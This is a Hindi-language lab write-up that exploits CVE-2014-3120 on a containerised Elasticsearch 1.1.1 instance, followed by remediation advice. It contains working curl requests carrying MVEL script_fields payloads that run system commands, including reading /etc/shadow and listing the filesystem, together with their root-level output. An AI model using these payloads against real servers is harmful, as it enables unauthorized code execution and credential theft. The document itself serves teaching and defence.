LAB 10-CVE-2014-3120

I. सिस्टम विश्लेषण

Docker वातावरण से आक्रमण सतह की पहचान

वातावरण में क्या चल रहा है, इससे शुरुआत करते हैं। हम सभी सक्रिय कंटेनरों की सूची बनाते हैं:

docker ps

परिणाम: कंटेनर p1/lab10:latest चल रहा है, जो बाहरी रूप से 2 पोर्ट उजागर करता है:

प्रारंभिक अवलोकन: पोर्ट 9200 और 9300 को आमतौर पर Elasticsearch के डिफ़ॉल्ट पोर्ट के रूप में जाना जाता है। हालाँकि, हम केवल पोर्ट नंबरों के आधार पर निष्कर्ष नहीं निकाल सकते - कई अन्य सेवाएँ किसी भी पोर्ट से बाइंड हो सकती हैं।

⇒ हम यह सत्यापित करने के लिए सीधे प्रत्येक पोर्ट पर curl करते हैं कि वास्तव में कौन सी सेवा चल रही है।

पोर्ट 9300 का परीक्षण

curl -i http://192.168.3.137:9300/

प्रतिक्रिया विश्लेषण:

• प्रतिक्रिया: curl: (52) Empty reply from server
• सर्वर हेडर: कोई नहीं - सर्वर कोई HTTP प्रतिक्रिया नहीं लौटाता

आकलन: सर्वर ने TCP कनेक्शन स्वीकार किया (कोई कनेक्शन अस्वीकार नहीं), लेकिन HTTP प्रोटोकॉल का उपयोग करके प्रतिक्रिया नहीं दी। यह पोर्ट 9300 पर Elasticsearch ट्रांसपोर्ट प्रोटोकॉल के व्यवहार से मेल खाता है - यह एक बाइनरी प्रोटोकॉल है जो क्लस्टर में नोड्स के बीच संचार के लिए उपयोग होता है, HTTP नहीं।

⇒ मानसिकता: पोर्ट 9300 एक बाइनरी प्रोटोकॉल उपयोग करता है → इसे सीधे curl/ब्राउज़र के माध्यम से एक्सप्लॉइट नहीं किया जा सकता। जाँच के लिए पोर्ट 9200 पर स्विच करें - HTTP REST API पोर्ट।

पोर्ट 9200 का परीक्षण

curl -i http://192.168.3.137:9200/

प्रतिक्रिया विश्लेषण:

आक्रमण सतह आकलन:

• पुष्टि हुई कि यह Elasticsearch 1.1.1 है - सेवा पूर्ण संस्करण विवरण के साथ एक विशिष्ट JSON प्रतिक्रिया लौटाती है
• कोई प्रमाणीकरण आवश्यक नहीं - REST API बिना क्रेडेंशियल मांगे सीधे प्रतिक्रिया देती है
• Elasticsearch 1.1.1 (2014) कई गंभीर CVEs के प्रभाव दायरे में आता है, विशेष रूप से CVE-2014-3120 - एक भेद्यता जो डायनेमिक स्क्रिप्टिंग के माध्यम से मनमाना कोड निष्पादन की अनुमति देती है

⇒ मानसिकता: Elasticsearch 1.1.1 डिफ़ॉल्ट रूप से डायनेमिक स्क्रिप्टिंग सक्षम करता है - जिससे क्लाइंट सर्वर द्वारा निष्पादित करने के लिए खोज क्वेरी में स्क्रिप्ट (MVEL एक्सप्रेशन) भेज सकते हैं। सैंडबॉक्स या उचित सत्यापन के बिना, एक हमलावर सिस्टम कमांड निष्पादित करने के लिए एक दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट कर सकता है। अगला कदम: सत्यापित करें कि क्या डायनेमिक स्क्रिप्टिंग वास्तव में लक्ष्य पर सक्रिय है।

डायनेमिक स्क्रिप्टिंग और MVEL इंजन का सत्यापन

डायनेमिक स्क्रिप्टिंग क्या है?

Elasticsearch एक स्क्रिप्टिंग सुविधा का समर्थन करता है - जो क्लाइंट्स को परिणाम संसाधित करते समय सर्वर द्वारा निष्पादित करने के लिए खोज अनुरोधों के भीतर स्क्रिप्ट (गणितीय या तार्किक अभिव्यक्तियाँ) भेजने की अनुमति देता है। Elasticsearch 1.x में, इस सुविधा के लिए डिफ़ॉल्ट इंजन MVEL (MVFLEX एक्सप्रेशन भाषा) है।

मुख्य सुरक्षा मुद्दा

Elasticsearch 1.2 से पहले के संस्करणों में, डायनेमिक स्क्रिप्टिंग डिफ़ॉल्ट रूप से सक्षम है (script.disable_dynamic: false)। इसका मतलब है:

1. REST API को प्रमाणीकरण की आवश्यकता नहीं होती
2. क्लाइंट _search API में script_fields पैरामीटर के माध्यम से मनमानी स्क्रिप्ट भेज सकते हैं
3. MVEL इंजन में पर्याप्त मजबूत सैंडबॉक्स का अभाव है - जो Java रनटाइम तक पहुँच की अनुमति देता है
4. हमलावर सिस्टम कमांड निष्पादित करने के लिए java.lang.Runtime.getRuntime().exec() को इनवोक कर सकते हैं

script_fields कैसे काम करता है

जब script_fields के साथ एक खोज अनुरोध भेजा जाता है, Elasticsearch निम्नलिखित करेगा:

1. _search API के माध्यम से JSON अनुरोध प्राप्त करेगा
2. script_fields फ़ील्ड को पार्स करेगा → निष्पादित करने के लिए script ढूँढेगा
3. MVEL इंजन का उपयोग करके स्क्रिप्ट का मूल्यांकन करेगा
4. MVEL इंजन के पास Java रनटाइम तक पूर्ण पहुँच होती है → किसी भी Java क्लास को इनवोक कर सकता है
5. परिणाम HTTP प्रतिक्रिया में लौटाएगा

आक्रमण वेक्टर का विश्लेषण: MVEL → Java रनटाइम → RCE

Java में, सिस्टम कमांड निष्पादित करने का सबसे सामान्य तरीका है:

Runtime.getRuntime().exec("command");

MVEL, Java क्लासेस तक पूर्ण पहुँच वाली एक अभिव्यक्ति भाषा के रूप में, इसे सीधे इनवोक करने की अनुमति देता है:

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

प्रत्येक भाग की व्याख्या:

⇒ मानसिकता: Elasticsearch के साथ, RCE आउटपुट सीधे प्रतिक्रिया में लौटाया जाता है — इसे किसी फ़ाइल में रीडायरेक्ट करके वापस पढ़ने की आवश्यकता नहीं होती। यह एक्सप्लॉइट को साफ और सत्यापित करने में तेज़ बनाता है।

II. एक्सप्लॉइटेशन

डायनेमिक स्क्रिप्टिंग के सक्रिय होने की पुष्टि

लक्ष्य की Elasticsearch 1.1.1 के रूप में पहचान करने के बाद, अगला कदम यह सत्यापित करना है कि क्या डायनेमिक स्क्रिप्टिंग वास्तव में सक्षम है।

CVE-2014-3120 इस तथ्य का शोषण करता है कि Elasticsearch क्लाइंट्स को _search अनुरोधों के भीतर स्क्रिप्ट भेजने की अनुमति देता है। यदि स्क्रिप्ट सर्वर द्वारा निष्पादित की जाती है, तो एक हमलावर हानिरहित अभिव्यक्ति को एक पेलोड से बदल सकता है जो सिस्टम कमांड निष्पादित करने के लिए Java रनटाइम को कॉल करता है।

पहले, हम एक परीक्षण दस्तावेज़ बनाते हैं ताकि यह सुनिश्चित हो सके कि क्वेरी के पास कम से कम एक मेल खाता परिणाम है। यदि कोई दस्तावेज़ मेल नहीं खाता, तो script_fields का मूल्यांकन नहीं किया जाएगा।

curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

फिर इंडेक्स रिफ्रेश करें:

curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

इसके बाद, हम script_fields के साथ एक _search अनुरोध भेजते हैं जिसमें एक हानिरहित MVEL अभिव्यक्ति होती है:

curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

हम स्क्रिप्ट "1+1" भेजते हैं और सर्वर परिणाम 2 लौटाता है। यह साबित करता है कि Elasticsearch केवल _search अनुरोध प्राप्त नहीं करता, बल्कि सर्वर साइड पर डायनेमिक स्क्रिप्ट निष्पादित भी करता है।

⇒ डायनेमिक स्क्रिप्टिंग लक्ष्य पर सक्रिय है।

चूँकि लक्ष्य Elasticsearch 1.1.1 है, जो 1.2 से पहले है, यह CVE-2014-3120 की एक्सप्लॉइटेशन आवश्यकताओं से मेल खाता है: Elasticsearch संस्करण 1.2 से पहले डिफ़ॉल्ट रूप से डायनेमिक स्क्रिप्टिंग सक्षम करता है, जिससे एक दूरस्थ हमलावर खोज अनुरोध के माध्यम से MVEL एक्सप्रेशन/Java कोड निष्पादित कर सकता है।

कमांड निष्पादन फ़ंक्शन तक का पथ पहचानना

हमने सत्यापित किया है कि script_fields को Elasticsearch द्वारा सर्वर साइड पर हानिरहित अभिव्यक्ति "1+1" के माध्यम से निष्पादित किया जाता है, जो [2] लौटाती है।

यह साबित करता है कि लक्ष्य न केवल मानक खोजों की अनुमति देता है, बल्कि क्लाइंट्स को _search प्रसंस्करण के दौरान सर्वर द्वारा मूल्यांकन के लिए एक MVEL स्क्रिप्ट भेजने की भी अनुमति देता है।

CVE-2014-3120 के साथ, महत्वपूर्ण जोखिम इस तथ्य में निहित है कि Elasticsearch 1.1.1 में MVEL Java क्लासेस तक पहुँच सकता है। इसलिए, "1+1" जैसी गणितीय अभिव्यक्ति भेजने के बजाय, एक हमलावर Java रनटाइम को कॉल करने वाली स्क्रिप्ट भेज सकता है:

Runtime.getRuntime().exec("command")

यह मानक Java API है जिसका उपयोग एक नई प्रक्रिया बनाने और ऑपरेटिंग सिस्टम पर कमांड निष्पादित करने के लिए किया जाता है।

आक्रमण श्रृंखला

_search API
→ script_fields
→ MVEL expression
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner reads stdout
→ result returned in the JSON response

RCE पेलोड का निर्माण और निष्पादन

RCE पेलोड:

curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "exploit": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

पेलोड विवरण:

परिणाम:

प्रतिक्रिया fields.exploit फ़ील्ड लौटाती है जिसमें id कमांड का आउटपुट होता है:

"exploit": [
  "uid=0(root) gid=0(root) groups=0(root)\n"
]

विश्लेषण:

पेलोड ने script_fields के अंदर MVEL स्क्रिप्ट के माध्यम से Runtime.getRuntime().exec("id") को सफलतापूर्वक इनवोक किया। तथ्य यह है कि प्रतिक्रिया id कमांड का आउटपुट लौटाती है, यह साबित करता है कि कमांड सर्वर साइड पर निष्पादित की गई थी।

परिणाम uid=0(root) gid=0(root) groups=0(root) इंगित करता है कि कंटेनर के अंदर Elasticsearch प्रक्रिया root विशेषाधिकारों के साथ चल रही है।

विशेषाधिकार सीमाएँ निर्धारित करना

RCE की पुष्टि के बाद, संवेदनशील फ़ाइलों को पढ़ने का प्रयास करके वास्तविक विशेषाधिकारों को सत्यापित किया जाना चाहिए:

/etc/shadow पढ़ना:

curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "shadow_test": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

देखा गया परिणाम:

प्रतिक्रिया /etc/shadow फ़ाइल की सामग्री लौटाती है:

root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...

विश्लेषण:

/etc/shadow फ़ाइल Linux में एक संवेदनशील सिस्टम फ़ाइल है, जो आमतौर पर केवल root उपयोगकर्ता या समकक्ष विशेषाधिकारों वाली प्रक्रियाओं द्वारा पठनीय होती है। पिछले चरण में, id कमांड ने लौटाया:

uid=0(root) gid=0(root) groups=0(root)

यह चरण वास्तविक व्यवहार से इसे और पुष्टि करता है: RCE पेलोड /etc/shadow को सफलतापूर्वक पढ़ने में सक्षम है।

⇒ कंटेनर के अंदर Elasticsearch रूट विशेषाधिकारों के साथ चल रहा है।

⇒ प्रभाव केवल सामान्य कमांड निष्पादन तक सीमित नहीं है, बल्कि कंटेनर के अंदर रूट विशेषाधिकारों के साथ RCE है।

नोट: यहाँ root विशेषाधिकार Docker कंटेनर के अंदर के root को संदर्भित करता है। कंटेनर के privileged मोड में चलने, Docker सॉकेट माउंट करने, या होस्ट से संवेदनशील वॉल्यूम माउंट करने के सबूत के बिना हम यह निष्कर्ष नहीं निकाल सकते कि हमलावर के पास होस्ट पर root विशेषाधिकार हैं।

III. पोस्ट-एक्सप्लॉइटेशन

सिस्टम जानकारी एकत्र करना

RCE की पुष्टि हो चुकी है। दायरे का मूल्यांकन करने के लिए हम सिस्टम जानकारी एकत्र करने के लिए आगे बढ़ते हैं।

कंटेनर की रूट फाइलसिस्टम की सूची बनाना

root विशेषाधिकारों के साथ RCE की पुष्टि के बाद, हम लक्ष्य के अंदर फाइलसिस्टम का निरीक्षण करने के लिए MVEL पेलोड के माध्यम से ls -la / कमांड चलाते हैं:

curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "rootfs": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

परिणाम: प्रतिक्रिया rootfs फ़ील्ड में / डायरेक्टरी की सामग्री लौटाती है।

विश्लेषण:

तथ्य यह है कि ls -la / का आउटपुट JSON प्रतिक्रिया में दिखाई देता है, यह साबित करता है कि कमांड RCE के माध्यम से लक्ष्य पर निष्पादित की गई थी। docker-entrypoint.sh, elasticsearch डायरेक्टरी, और docker-java-home सिमलिंक जैसी फ़ाइलें इंगित करती हैं कि समझौता किया गया वातावरण Elasticsearch चलाने वाला एक कंटेनर है।

⇒ हमलावर root विशेषाधिकारों के साथ कंटेनर के अंदर फाइलसिस्टम की सूची बना सकता है।

नेटवर्क जाँच — पाइवटिंग की संभावना

चूँकि कंटेनर में /sbin/ifconfig बाइनरी नहीं है, हम सीधे /proc/net/route पढ़ते हैं। इस फ़ाइल को बाहरी उपयोगिताओं की आवश्यकता नहीं होती और यह कंटेनर की रूटिंग तालिका प्रदान करती है।

curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "route": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

विश्लेषण:

परिणाम दिखाते हैं कि कंटेनर में इंटरफ़ेस eth0 है और यह Docker नेटवर्क 172.19.0.0/16 के भीतर स्थित है। डिफ़ॉल्ट गेटवे 172.19.0.1 है।

यह साबित करता है कि कंटेनर के पास Docker ब्रिज के माध्यम से आंतरिक नेटवर्क कनेक्टिविटी है। चूँकि हमलावर के पास पहले से ही कंटेनर के अंदर root विशेषाधिकारों के साथ RCE है, वे सैद्धांतिक रूप से आगे बढ़कर उसी Docker नेटवर्क में अन्य होस्ट्स/सेवाओं का निरीक्षण कर सकते हैं, यदि नेटवर्क नीतियाँ अनुमति देती हैं।

हालाँकि, यह आउटपुट केवल रूटिंग स्तर पर नेटवर्क दृश्यता साबित करता है, एक सफल पाइवट नहीं। पाइवट का निष्कर्ष निकालने के लिए आगे के सबूतों की आवश्यकता होती है, जैसे किसी अन्य होस्ट को सफलतापूर्वक स्कैन करना, किसी आंतरिक सेवा से कनेक्ट करना, या किसी अन्य नेटवर्क से संसाधन प्राप्त करना।

IV. जोखिम मूल्यांकन और अनुशंसाएँ

जोखिम मूल्यांकन

विश्लेषण के दौरान एकत्र किए गए सबूतों के आधार पर, लक्ष्य पोर्ट 9200 पर Elasticsearch 1.1.1 चला रहा है। यह संस्करण 1.2 से पहले का है, जो इसे CVE-2014-3120 के प्रभावित दायरे में रखता है।

यह भेद्यता Elasticsearch द्वारा संस्करण 1.2 से पहले डिफ़ॉल्ट रूप से डायनेमिक स्क्रिप्टिंग सक्षम करने से उत्पन्न होती है, जो क्लाइंट्स को खोज अनुरोधों के माध्यम से MVEL स्क्रिप्ट सबमिट करने की अनुमति देती है। इस लैब में, यह सुविधा हानिरहित अभिव्यक्ति "1+1" का उपयोग करके कार्यशील पाई गई, जिसने परिणाम [2] लौटाया।

इसके बाद, MVEL पेलोड ने इनवोक किया:

Runtime.getRuntime().exec("id")

प्रतिक्रिया ने लौटाया:

uid=0(root) gid=0(root) groups=0(root)

यह साबित करता है कि एक हमलावर Elasticsearch के माध्यम से सिस्टम कमांड निष्पादित कर सकता है। इसके अलावा, पेलोड ने सफलतापूर्वक /etc/shadow पढ़ा, जो पुष्टि करता है कि निष्पादन विशेषाधिकार कंटेनर के भीतर root है।

उपचारात्मक अनुशंसाएँ

1. Elasticsearch को नए संस्करण में अपग्रेड करें

Elasticsearch को संस्करण >= 1.2.0 (न्यूनतम) या आदर्श रूप से वर्तमान समर्थित संस्करण (8.x) में अपग्रेड करें। संस्करण 1.2 से शुरू करके, डायनेमिक स्क्रिप्टिंग डिफ़ॉल्ट रूप से अक्षम है।

2. डायनेमिक स्क्रिप्टिंग को तुरंत अक्षम करें (यदि अपग्रेड संभव नहीं है)

elasticsearch.yml में निम्नलिखित जोड़ें:

script.disable_dynamic: true

यह परिवर्तन करने के बाद Elasticsearch को पुनरारंभ करें। यह क्लाइंट्स द्वारा खोज अनुरोधों के भीतर स्क्रिप्ट सबमिट करने की क्षमता को पूरी तरह से अक्षम कर देता है।

3. Elasticsearch REST API को अविश्वसनीय नेटवर्कों पर उजागर न करें

Elasticsearch में संस्करण 1.x में डिफ़ॉल्ट प्रमाणीकरण नहीं होता। यदि इसे उजागर करना आवश्यक है, तो इसे प्रमाणीकरण के साथ रिवर्स प्रॉक्सी के पीछे रखें या केवल 127.0.0.1 से बाइंड करें।

उच्च प्राथमिकता

4. प्रमाणीकरण और एन्क्रिप्शन सक्षम करें

आधुनिक Elasticsearch संस्करण (7.x+) अंतर्निहित सुरक्षा (प्रमाणीकरण, TLS) का समर्थन करते हैं। यदि अपग्रेड किया गया है, तो सुरक्षा सुविधाएँ सक्षम करें:

xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true

5. फ़ायरवॉल का उपयोग करके पहुँच प्रतिबंधित करें

केवल विश्वसनीय IP को पोर्ट 9200 और 9300 तक पहुँच की अनुमति दें। उन्हें इंटरनेट या पूरे आंतरिक नेटवर्क पर उजागर न करें।

6. Elasticsearch को कम-विशेषाधिकार वाले उपयोगकर्ता के रूप में चलाएँ

Elasticsearch को root उपयोगकर्ता के अंतर्गत न चलाएँ। न्यूनतम विशेषाधिकारों के साथ एक समर्पित elasticsearch उपयोगकर्ता बनाएँ। यह एक आधिकारिक सर्वोत्तम अभ्यास है: